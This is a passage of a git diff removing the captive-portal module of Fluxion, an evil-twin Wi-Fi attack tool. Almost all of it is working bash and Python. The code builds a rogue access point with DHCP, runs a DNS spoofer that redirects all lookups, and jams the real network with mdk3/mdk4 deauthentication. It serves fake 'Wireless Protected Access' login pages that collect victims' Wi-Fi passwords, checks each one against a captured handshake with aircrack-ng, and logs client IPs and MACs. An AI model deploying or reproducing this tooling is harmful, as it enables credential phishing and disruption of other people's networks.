Portal/lib/$authenticatorFile" \ - "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" - sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \ - "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" - chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" - done - - # Add the files for captive portal internet connectivity checks. - cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \ - "$FLUXIONWorkspacePath/captive_portal/connectivity_responses" - - - # AP Service: Prepare service for an attack. - if [ "$CaptivePortalAPService" ]; then - ap_service_prep \ - "$CaptivePortalAccessPointInterface" \ - "$CaptivePortalGatewayAddress" \ - "$FluxionTargetSSID" \ - "$FluxionTargetRogueMAC" \ - "$FluxionTargetChannel" - - CaptivePortalAccessInterface=$APServiceAccessInterface - fi - - - # Generate the dhcpd configuration file, which is - # used to provide DHCP service to rogue AP clients. - echo "\ -authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $CaptivePortalGatewayNetwork.0 netmask 255.255.255.0 { - option broadcast-address $CaptivePortalGatewayNetwork.255; - option routers $CaptivePortalGatewayAddress; - option subnet-mask 255.255.255.0; - option domain-name-servers $CaptivePortalGatewayAddress; - - range $CaptivePortalGatewayNetwork.100 $CaptivePortalGatewayNetwork.254; -}\ -" >"$FLUXIONWorkspacePath/dhcpd.conf" - - #create an empty leases file - touch "$FLUXIONWorkspacePath/dhcpd.leases" - - # Generate configuration for a lighttpd web-server. - echo "\ -server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -accesslog.filename = \"$FLUXIONWorkspacePath/lighttpd.log\" - -fastcgi.server = ( - \".php\" => ( - ( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/tmp/fluxspace/php.socket\" - ) - ) -) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( - \".html\" => \"text/html\", - \".htm\" => \"text/html\", - \".txt\" => \"text/plain\", - \".jpg\" => \"image/jpeg\", - \".png\" => \"image/png\", - \".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( - \".fcgi\", - \".php\", - \".rb\", - \"~\", - \".inc\" -) - -index-file.names = ( - \"index.htm\", - \"index.html\", - \"index.php\" -) -" >"$FLUXIONWorkspacePath/lighttpd.conf" - - # Configure lighttpd's SSL only if we've got a certificate and its key. - if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then - echo "\ -\$SERVER[\"socket\"] == \":443\" { - ssl.engine = \"enable\" - ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\" -} -" >>"$FLUXIONWorkspacePath/lighttpd.conf" - fi - - if [ "$CaptivePortalConnectivity" = "emulated" ]; then - echo "\ -# The following will emulate Apple's and Google's internet connectivity checks. -# This should help with no-internet-connection warnings in some devices. -\$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response. - server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\" -} - -# Respond with Google's captive response on certain domains. -# Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com -\$HTTP[\"host\"] =~ \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { - server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" - url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) -} -" >>"$FLUXIONWorkspacePath/lighttpd.conf" - else - echo "\ -# Redirect all traffic to the captive portal when not emulating a connection. -\$HTTP[\"host\"] != \"captive.gateway.lan\" { - url.redirect-code = 302 - url.redirect = ( - \"^/(.*)\" => \"http://captive.gateway.lan/\", - ) -} -" >>"$FLUXIONWorkspacePath/lighttpd.conf" - fi - - # Create a DNS service with python, forwarding all traffic to gateway. - echo "\ -import sys, traceback, socket -# NOTICE: This DNS server works with python 2 and python 3 - -class DNSQuery: - def __init__(self, data): - self.data = data - self.domain = '' - - queryType = (ord(data[2]) >> 3) & 15 - - # Only handle basic requests. - if queryType != 0: - print('Ignoring Query: Non-spoofed type.') - return - - domainStart = 13 # Skip length byte and start at domain. - domainLength = ord(data[domainStart - 1]) # Evaluate length byte. - - while domainLength != 0: - self.domain += data[domainStart : domainStart + domainLength] + '.' - - domainStart += domainLength + 1 # Skip the length byte & start at domain. - domainLength = ord(data[domainStart - 1]) # Evaluate length byte. - - def response(self, ipv4): - if not self.domain: return '' - - packet = '' - - packet += self.data[ :2] + '\x81\x80' - packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet += self.data[12:] - packet += '\xc0\x0c' - packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - - # Convert string IPv4 quads to binary values (bytes). - packet += str.join('', map(lambda s: chr(int(s)), ipv4.split('.'))) - - return packet - -if __name__ == '__main__': - targetIPv4 = '$CaptivePortalGatewayAddress' - - print('Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4) - - link = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - link.bind(('',53)) - - try: - while True: - clientData, clientIPv4 = link.recvfrom(1024) - - queryData = clientData if sys.version_info < (3, 0) else clientData.decode('unicode_escape') - - query = DNSQuery(queryData) - - response = query.response(targetIPv4) - - if sys.version_info > (3, 0): - # Someone that knows more about python and how it does byte-handling, - # please fix the following shitfest and make it a bit more elegant. - # Do what? A raw conversion of the \"response\" string to bytes. - responseHex = '' - for xx in response: - responseHex += \"%x%x\" % ((ord(xx) >> 4) & 0b1111, ord(xx) & 0b1111) - - response = bytearray.fromhex(responseHex) - - link.sendto(response, clientIPv4) - - print('Request: %s -> %s' % (query.domain, targetIPv4)) - - except KeyboardInterrupt: - print('INTERRUPT: Stopping.') - link.close() - - except Exception as error: - print('EXCEPTION: Stopping!') - print(error) - print(traceback.format_exc()) - link.close() -" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" - - chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" - - local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"} - # Attack arbiter script - echo "\ -#!/usr/bin/env bash - -signal_stop_attack() { - kill -s SIGABRT $$ # Signal STOP ATTACK - handle_abort_authenticator -} - -handle_abort_authenticator() { - AuthenticatorState=\"aborted\" -} - -trap signal_stop_attack SIGINT SIGHUP -trap handle_abort_authenticator SIGABRT - -echo > \"$FLUXIONWorkspacePath/candidate.txt\" -echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\" - -# Assure we've got a directory to store net logs into. -if [ ! -d \"$CaptivePortalNetLog\" ]; then - mkdir -p \"$CaptivePortalNetLog\" -fi - -# Assure we've got a directory to store pwd logs into. -if [ ! -d \"$CaptivePortalPassLog\" ]; then - mkdir -p \"$CaptivePortalPassLog\" -fi - -# Make console cursor invisible, cnorm to revert. -tput civis -clear - -m=0 -h=0 -s=0 -i=0 - -AuthenticatorState=\"running\" - -startTime=\$(date +%s) - -while [ \$AuthenticatorState = \"running\" ]; do - let s=\$(date +%s)-\$startTime - - d=\`expr \$s / 86400\` - s=\`expr \$s % 86400\` - h=\`expr \$s / 3600\` - s=\`expr \$s % 3600\` - m=\`expr \$s / 60\` - s=\`expr \$s % 60\` - - if [ \"\$s\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$m\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$h\" -le 9 ]; then - ih=\"0\" - else - ih= - fi - - if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then - # Save any new password attempt. - cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\" - - # Clear logged password attempt. - echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" - fi - - if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then - cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" - echo \" \" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" - echo -n > \"$FLUXIONWorkspacePath/ip_hits\" - fi - -" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - - if [ $CaptivePortalAuthenticatorMode = "hash" ]; then - echo " - if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then - # Check if we've got the correct password by looking for anything other than \"Passphrase not in\". - if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | grep -qi \"Passphrase not in\"; then - echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" - - sleep 1 - break - - else - echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" - - fi - fi" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - fi - - local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g") - echo " - readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host) - - echo - echo -e \" ACCESS POINT:\" - printf \" SSID ...........: $CWht%s$CClr\\n\" \"$staticSSID\" - echo -e \" MAC ............: $CYel$FluxionTargetMAC$CClr\" - echo -e \" Channel ........: $CWht$FluxionTargetChannel$CClr\" - echo -e \" Vendor .........: $CGrn${FluxionTargetMaker:-UNKNOWN}$CClr\" - echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\" - echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\" - echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\" - echo - echo -e \" CLIENTS ONLINE:\" - - x=0 - for client in \"\${DHCPClients[@]}\"; do - x=\$((\$x+1)) - - ClientIP=\$(echo \$client| cut -d \" \" -f2) - ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then - ClientMAC=\"xx:xx:xx:xx:xx:xx\" - fi - - ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$ClientMAC| grep -q x; then - ClientMID=\"unknown\" - fi - - ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') - - echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\" - done - - echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - - if [ $CaptivePortalAuthenticatorMode = "hash" ]; then - echo " - sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - fi - - echo " -done - -if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi - -clear -echo \"1\" > \"$FLUXIONWorkspacePath/status.txt\" - -# sleep 7 -sleep 3 - -signal_stop_attack - -echo \" -FLUXION $FLUXIONVersion.$FLUXIONRevision - -SSID: \\\"$staticSSID\\\" -BSSID: $FluxionTargetMAC ($FluxionTargetMaker) -Channel: $FluxionTargetChannel -Security: $FluxionTargetEncryption -Time: \$ih\$h:\$im\$m:\$is\$s -Password: \$(cat $FLUXIONWorkspacePath/candidate.txt) -Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand)) -IP: $(captive_portal_get_client_IP) -\" >\"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - - if [ $CaptivePortalAuthenticatorMode = "hash" ]; then - echo " -aircrack-ng -a 2 -b $FluxionTargetMAC -0 -s \"$CaptivePortalHashPath\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\ -" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - fi - - chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" -} - -# Generate the contents for a generic web interface -captive_portal_generic() { - if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then - mkdir "$FLUXIONWorkspacePath/captive_portal" - fi - - base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" >"$FLUXIONWorkspacePath/file.zip" - - unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice - sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip" - - echo "\ - - - - - - - Wireless Protected Access: Verifying - - - - - - - - - - - -
-
-

$DIALOG_WEB_OK

-
-
- -" >"$FLUXIONWorkspacePath/captive_portal/final.html" - - echo "\ - - - - - - - Wireless Protected Access: Key Mismatch - - - - - - - - - - - - - -
-
-

$DIALOG_WEB_ERROR

- $DIALOG_WEB_BACK -
-
- -" >"$FLUXIONWorkspacePath/captive_portal/error.html" - - echo "\ - - - - - - - Wireless Protected Access: Login - - - - - - - - - - - - - -
-
-
-
-
-
-
$FluxionTargetSSID ($FluxionTargetMAC)
- -
-
-
- -
-
-
- - -
- -
-
-
-
- - - - - -" >"$FLUXIONWorkspacePath/captive_portal/index.html" -} - -captive_portal_unset_routes() { - if [ -f "$FLUXIONIPTablesBackup" ]; then - iptables-restore <"$FLUXIONIPTablesBackup" \ - &> $FLUXIONOutputDevice - else - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - fi - - # Restore system's original forwarding state - if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then - sysctl -w net.ipv4.ip_forward=$( - cat "$FLUXIONWorkspacePath/ip_forward" - ) &> $FLUXIONOutputDevice - sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward" - fi - - ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null -} - -# Set up DHCP / WEB server -# Set up DHCP / WEB server -captive_portal_set_routes() { - # Give an address to the gateway interface in the rogue network. - # This makes the interface accessible from the rogue network. - ip addr add $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface - - # Save the system's routing state to restore later. - cp "/proc/sys/net/ipv4/ip_forward" "$FLUXIONWorkspacePath/ip_forward" - - # Activate system IPV4 packet routing/forwarding. - sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \ - --to-destination $CaptivePortalGatewayAddress:80 - iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \ - --to-destination $CaptivePortalGatewayAddress:443 - iptables -A INPUT -p tcp --sport 443 -j ACCEPT - iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -captive_portal_stop_interface() { - captive_portal_unset_routes - - if [ "$CaptivePortalAPService" ]; then - ap_service_stop - fi -} - -captive_portal_start_interface() { - if [ "$CaptivePortalAPService" ]; then - echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice" - ap_service_start - else - fluxion_header - - echo -e "$FLUXIONVLine Configuration for external access point device:" - echo - - fluxion_target_show - - echo -e "$FLUXIONVLine IPv4 Address: ${CaptivePortalGatewayAddress%.*}.2/24" - echo -e "$FLUXIONVLine IPv6 Address: Disabled" - echo -e "$FLUXIONVLine DHCP Server: $CaptivePortalGatewayAddress" - echo -e "$FLUXIONVLine DNS Server: $CaptivePortalGatewayAddress" - echo - - echo -e "$FLUXIONVLine ${CYel}Assure external AP device is available & configured before continuing!${CClr}" - read -n1 -p "Press any key to continue... " bullshit - fi - - echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice" - captive_portal_set_routes & - sleep 3 - - fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice - fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice -} - - -# ============================================================ # -# =================== < Parse Parameters > =================== # -# ============================================================ # -if [ ! "$CaptivePortalCLIArguments" ]; then - if ! CaptivePortalCLIArguments=$( - getopt --options="a:j:s:c:u:h:" \ - --longoptions="ap:,jammer:,ssl:,connectivity:,ui:,hash:" \ - --name="Captive Portal V$FLUXIONVersion.$FLUXIONRevision" -- "$@" - ); then - echo -e "${CRed}Aborted$CClr, parameter error detected..." - sleep 5 - fluxion_handle_exit - fi - - declare -r CaptivePortalCLIArguments=$CaptivePortalCLIArguments - - eval set -- "$CaptivePortalCLIArguments" # Set environment parameters. -fi - - -# ============================================================ # -# ============= < Argument Loaded Configurables > ============ # -# ============================================================ # -while [ "$1" != "" -a "$1" != "--" ]; do - case "$1" in - -a|--ap) - CaptivePortalAccessPointInterfaceOriginal=$2; shift;; - -j|--jammer) - CaptivePortalJammerInterfaceOriginal=$2; shift;; - -s|--ssl) - CaptivePortalSSLCertificatePath=$2; shift;; - -c|--connectivity) - CaptivePortalConnectivity=$2; shift;; - -u|--ui) - CaptivePortalUserInterface=$2; shift;; - -h|--hash) - # Assuming hash auth-mode here (the only one available as of now). - # WARNING: If more auth-modes are added, assume hash auth-mode here! - CaptivePortalHashPath=$2; shift;; - esac - shift # Shift new parameters -done - - -# ============================================================ # -# ===================== < Fluxion Hooks > ==================== # -# ============================================================ # -attack_targetting_interfaces() { - interface_list_wireless - local interface - for interface in "${InterfaceListWireless[@]}"; do - echo "$interface" - done -} - -attack_tracking_interfaces() { - interface_list_wireless - local interface - for interface in "${InterfaceListWireless[@]}"; do - echo "$interface" - done - echo "" # This enables the Skip option. -} - -unprep_attack() { - CaptivePortalState="Not Ready" - - captive_portal_unset_attack - captive_portal_unset_user_interface - captive_portal_unset_connectivity - captive_portal_unset_certificate - captive_portal_unset_authenticator - captive_portal_unset_ap_interface - captive_portal_unset_jammer_interface -} - -prep_attack() { - local sequence=( - "set_jammer_interface" - "set_ap_interface" - "set_ap_service" - "set_authenticator" - "set_certificate" - "set_connectivity" - "set_user_interface" - "set_attack" - ) - - if ! fluxion_do_sequence captive_portal sequence[@]; then - return 1 - fi - - CaptivePortalState="Ready" -} - -load_attack() { - local -r configurationPath=$1 - - local configuration - readarray -t configuration < <(more "$configurationPath") - - CaptivePortalJammerInterfaceOriginal=${configuration[0]} - CaptivePortalAccessPointInterfaceOriginal=${configuration[1]} - CaptivePortalAPService=${configuration[2]} - CaptivePortalAuthenticatorMode=${configuration[3]} - CaptivePortalSSL=${configuration[4]} - CaptivePortalConnectivity=${configuration[5]} - CaptivePortalUserInterface=${configuration[6]} - - # Hash authenticator mode configuration. - CaptivePortalHashPath=${configuration[7]} - - # Target hash information for verification. - local -r targetHashSSID=${configuration[8]} - local -r targetHashMAC=${configuration[9]} - - # Assure hash is relevant for fluxion's current target. - # If the hash is no longer relevant, clear to force reset. - if [ \ - "$targetHashSSID" != "$FluxionTargetSSID" -o \ - "$targetHashMAC" != "$FluxionTargetMAC" ]; then - CaptivePortalHashPath="" - fi -} - -save_attack() { - local -r configurationPath=$1 - - # Store/overwrite attack configuration for pause & resume. - # Order: JammerWI, APWI, APServ, AuthMode, SSL, Conn, UI - echo "$CaptivePortalJammerInterfaceOriginal" > "$configurationPath" - echo "$CaptivePortalAccessPointInterfaceOriginal" >> "$configurationPath" - echo "$CaptivePortalAPService" >> "$configurationPath" - echo "$CaptivePortalAuthenticatorMode" >> "$configurationPath" - echo "$CaptivePortalSSL" >> "$configurationPath" - echo "$CaptivePortalConnectivity" >> "$configurationPath" - echo "$CaptivePortalUserInterface" >> "$configurationPath" - - # Hash authenticator mode configuration. - echo "$CaptivePortalHashPath" >> "$configurationPath" - - # Target to verify validity of hash on restore. - echo "$FluxionTargetSSID" >> "$configurationPath" - echo "$FluxionTargetMAC" >> "$configurationPath" -} - -stop_attack() { - # Attempt to find PIDs of any running authenticators. - local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}') - - # Signal any authenticator to stop authentication loop. - if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi - - if [ "$CaptivePortalJammerServiceXtermPID" ]; then - kill $(pgrep -P $CaptivePortalJammerServiceXtermPID \ - 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice - CaptivePortalJammerServiceXtermPID="" # Clear parent PID - fi - sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" - - # Kill captive portal web server log viewer. - if [ "$CaptivePortalWebServiceXtermPID" ]; then - kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice - CaptivePortalWebServiceXtermPID="" # Clear service PID - fi - - # Kill captive portal web server. - if [ "$CaptivePortalWebServicePID" ]; then - kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice - CaptivePortalWebServicePID="" # Clear service PID - fi - - # Kill python DNS service if one is found. - if [ "$CaptivePortalDNSServiceXtermPID" ]; then - kill $(pgrep -P $CaptivePortalDNSServiceXtermPID \ - 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice - CaptivePortalDNSServiceXtermPID="" # Clear parent PID - fi - - # Kill DHCP service. - if [ "$CaptivePortalDHCPServiceXtermPID" ]; then - kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID \ - 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice - CaptivePortalDHCPServiceXtermPID="" # Clear parent PID - fi - sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt" - - captive_portal_stop_interface - - # Start the network-manager if it's disabled. - if ! systemctl status network-manager.service &> /dev/null; then - systemctl start network-manager.service - fi - - CaptivePortalState="Stopped" -} - -start_attack() { - if [ "$CaptivePortalState" = "Running" ]; then return 0; fi - if [ "$CaptivePortalState" != "Ready" ]; then return 1; fi - CaptivePortalState="Running" - - stop_attack - - # Disable the network-manager if it's available. - if systemctl status network-manager.service &> /dev/null; then - systemctl stop network-manager.service - fi - - captive_portal_start_interface - - echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice" - xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" \ - -title "FLUXION AP DHCP Service" -e \ - "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $CaptivePortalAccessInterface 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & - # Save parent's pid, to get to child later. - CaptivePortalDHCPServiceXtermPID=$! - - echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" - xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \ - -title "FLUXION AP DNS Service" -e \ - "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & - # Save parent's pid, to get to child later. - CaptivePortalDNSServiceXtermPID=$! - - echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" - lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" \ - &> $FLUXIONOutputDevice - CaptivePortalWebServicePID=$! - - xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" \ - -title "FLUXION Web Service" -e \ - "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" & - CaptivePortalWebServiceXtermPID=$! - - echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" - echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst" - - if ! [ -x "$(command -v mdk4)" ]; then - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ - -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ - "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & - # Save parent's pid, to get to child later. - CaptivePortalJammerServiceXtermPID=$! - else - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ - -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ - "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & - # Save parent's pid, to get to child later. - CaptivePortalJammerServiceXtermPID=$! - fi - - echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" - xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" \ - -title "FLUXION AP Authenticator" \ - -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & - -} - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/generic/assets b/fluxion_origins/attacks/Captive Portal/generic/assets deleted file mode 100644 index 245c097..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/assets +++ /dev/null @@ -1,2217 +0,0 @@ -UEsDBAoAAAAAAEQCTUkAAAAAAAAAAAAAAAAEAAAAY3NzL1BLAwQUAAAACACyuUxJ8qGcyENfAABp -KgMAHwAAAGNzcy9qcXVlcnkubW9iaWxlLTEuNC41Lm1pbi5jc3PsXeuTGzdy/35/he6qturu4hnj -/VAeVTZlma6ik0utb1PJlxTFpZe8Gy11yxVlXZL/PegHMOBqtaQku8pcwfJyAAwGz+nfNLobjS// -+Nsnf/n318ubt0++37xYD8snsje9ffK/T75d3z6ZfvPVs9V8u3r6xIWltUv/5J/+5YkS0nRSdFr+ -IP1TrZ9q8V8p/+8Xf4Bb4gvMkAt9vnl9fTm/XW+uv3jy3fWiTxn/8je4029urr4c1ovl9Xb55I9f -/uY3/et1t15srrv5ArI/nf94u7z5nxfzxV+vbqCQbv1yfrV8+vpm+P3vUonzpxj/cru7+oefXg7/ -uFjNb7bL23/+83n31fnku+++ONOTM/083TpTYre82a4312f62ZlSshfpN6Uurxeby/X1FSWvt5su -BBs7CXf18zP9TSrit8/+bfLDf/7pm5Q91ZR+//Tnr2ffTVIg5erO1PP0/3/oCQWe/ZAKEucX36Zf -2UtK/OZfqbb0u7q9fXWmv6L0N2/e9G80DEOKfHszf7VaL7YpiI8/p8exwOepYin7y9tLKAhbRU25 -0ytJ9awvKWE2f7u8+W9OTMNwvaX09zdCCSGour2HvvppWF//9dDDMsaYLpSXHqdHxKufKP72Tjz9 -/2Z9ebvi9pucvlqur1a3d1N36+Wbrze5zJQAf9LwD+TY3r4dlnR/eT1/MSy78eVJbb5evuGn6if1 -16WvKc/21XzBRby6WW6XN7tlGfNX89vVfi0/rocBB0M/x/9KYTwD36cBmdidHmxnZhAWO70QcO1s -+fUTB7nSX6yvf0/FfC/T7E2kmqoLu5KD6tRU7KRcSX3hhy5VNFEXUv0d6+TXladPf/O7P/zfSFDD -8ua20VOjp1OnJw9UMxNIFCtpZhhHSoGQlItO9NZqpC2Zwsb4dJVbDkGeTi5KHojDFe5yWJ57vou0 -R8WWGkIKTBxnTxEk3fwAhi/sQoyNOL7aHZWXy8rXwG0IRxD5zc3mTXfZDY3QG6H/ugh9M7y9SqOt -BBH4M7iDNE4lvNqsr2+3udlnaqKhBkmkInRviSCo/onhK7WjhBxmkwLz1cRyVWjm6nNMeBArbhpW -NKw4XawQFTTwl1UIxg9f44EpeLEfMg0rjsWKhhQNKU4WKSKx0SIySNjq6qkFePV76OAbOhyJDm3N -0dDhdNHBg7yNqV/chwaehHLQgirQFhrHwkNbZjR4OHGRhK/wIeOFqK6xgomCGw0djkGH1419aPhw -6vggZZFBosCSJJNQeX2Vo0DTUS7ZsOLDsKLxEg0rThwrBEskRRFT6qLdQBzRo3qjxgqTEaRhxVFY -0ZCiIcXJIsVdYYStrlhzrAO+ySw/AB5eX643DRw+N3DohQwfBRDw4MeDxPj0B5tG3Y8S2RgKlg6m -WBExQzExHEfhxM6QuSFbE+1ZHMHfSg6oBr0QM7AmNFMydUpshzZozrQQnexdTC9tL4zqdC+t6VRv -jUvh4PzM9THgo71D4yjfp3ccqu4lykFCbyVGYxhj/jxnC32I0LJcTOy1mqWbyOlABZBC6lsBdVOA -GhegYXWCx8bHPABp4P0sZZJYWm+Dgwam3F5BlakXActTvcxdULJO8NvUbWMjjaqELlunsTdGmiG1 -T0Uq2sWF6r3wKb8KGvNbn7JHZXMEegh66XOpckd6jT2umrtn5XUY3T4/6AZKa8j9uSH34zNkxUVf -Ql3EcMZgu0CsZkvSfNVbtBI39LtTJRMZliZgmUjN+B8gPxuR68MWoy8SXTRiasR06sSERLSSat/C -uivcTie3oy14J6eyMEKKM6uKadLnNUuFZRNThHzKFOQz5flCqNXz/hDL9UA7cUFXSpO6siyn6seW 